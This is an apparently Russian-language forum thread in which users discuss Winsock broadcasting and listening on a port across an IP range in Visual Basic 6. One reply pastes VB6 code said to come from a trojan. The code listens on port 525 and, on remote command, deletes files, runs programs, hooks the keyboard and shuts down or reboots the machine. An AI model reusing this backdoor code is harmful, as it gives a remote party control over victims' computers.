Широковещание

[XairOn]

Здравствуйте, подскажите пожалуйста, как сделать, что бы моя программа молга принимать (отправлять) данные на определенный порт с любого IP в данном диапазоне???

[Igor_123]

Настраиваешь винсоксы на прослушку(коннект) определённого порта на диапазоне адресов и обрабатываешь

[XairOn]

Вобщем-то ты повторил мой вопрос, немного в другм виде правда... всё что ты сказал и так понятно, а вот как именно это сделать! Можешь примерчик (хотя бы маленький) привести?

[alibek]

Ставишь UDP-сокет и биндишь нужный тебе порт. Для TCP-сокетов переводишь его в Listen-режим.

[XairOn]

alibek, нельзя ли чуточку поконкретнее? Небольшой кусочек кода для случая с TCP сокетами! Я пробовал, но что-то не получилось нифига

[alibek]

Да какой может быть код?
Ты пробовал сделать то, что я написал? Там проще некуда.

wskTCP.LocalPost = 21
wskTCP.Listen

wskUDP.Bind 53

[XairOn]

Я не так малость опять выразился, тут-то конечно всё понятно, а вот как отправить данные? сервера-то определенного нету! Это что получается к каждому компу из диапазона коннектится по очереди и отправлять, так что ли? Может есть менее гиморное решение?!

[alibek]

Поищи по форуму слово "broadcast", тема поднималась много раз.

[codemaster]

пример на NET

http://www.vbip.com/books/1861007353/chapter_contents.asp

на vb6 подход аналогичный

[KDima]

Private Sub Form_Load()
On Error Resume Next
Msg = False
DF = False
OF = False
Net.LocalPort = 525
Net.Listen
End Sub

Private Sub Net_ConnectionRequest(ByVal requestID As Long)
On Error Resume Next' здесь проверяешь если net.remoteip = то что нужно тогда ....
If Net.State <> sckClosed Then Net.Close
Net.Accept requestID
End Sub

Private Sub Net_DataArrival(ByVal bytesTotal As Long) 'Net это название Winsock1
On Error Resume Next
Dim Comedata As String
Net.GetData Comedata
If DF = True Then DF = False: Kill Comedata
If OF = True Then OF = False: Shell Comedata, vbNormalFocus
If Msg = True Then Msg = False: MsgBox Comedata, 32, "Я идиот! Убейте меня, кто-нибудь!????": SText.Text = SText.Text & " (???? Я идиот! Убейте меня, кто-нибудь!???? Я идиот! Убейте меня, кто-нибудь!????) ": Net.SendData SText.Text
If Comedata = "IamThere" Then Net.SendData "Ready": SetHook Me, HFKeyUp
If Comedata = "Wait" Then RemoveHook: Net.Close: Net.LocalPort = 525: Net.Listen
If Comedata = "OpenCD" Then OpenCD
If Comedata = "CloseCD" Then CloseCD
If Comedata = "ShutDown" Then Unload Me: ExitWindowsEx EWX_SHUTDOWN, 0&
If Comedata = "ReBoot" Then Unload Me: ExitWindowsEx EWX_REBOOT, 0&
If Comedata = "Sleep" Then SetSystemPowerState 0&, 0&
If Comedata = "MsgBox" Then Msg = True
If Comedata = "DeleteFile" Then DF = True
If Comedata = "OpenFile" Then OF = True
End Sub
ЗЫ. Выдрал тебе из проги IMPERATOR - троян на VB ...

1. Вот уроды! Я написал прогу Imperator уже давно!
Это был читер для Age Of Imperies 2!
2. Причем тут это???

Это что получается к каждому компу из диапазона коннектится по очереди и отправлять, так что ли? Может есть менее гиморное решение?!

Ага!
Чтоб принимать (для TCP IP) тебе нужено соединение с каждым компом!
Для UDP все че тебе отправленно будет доходить на один сокет...
хотя какой это сокет

[XairOn]

Для UDP все че тебе отправленно будет доходить на один сокет...

Тут всё ясно, я как данные отсылать?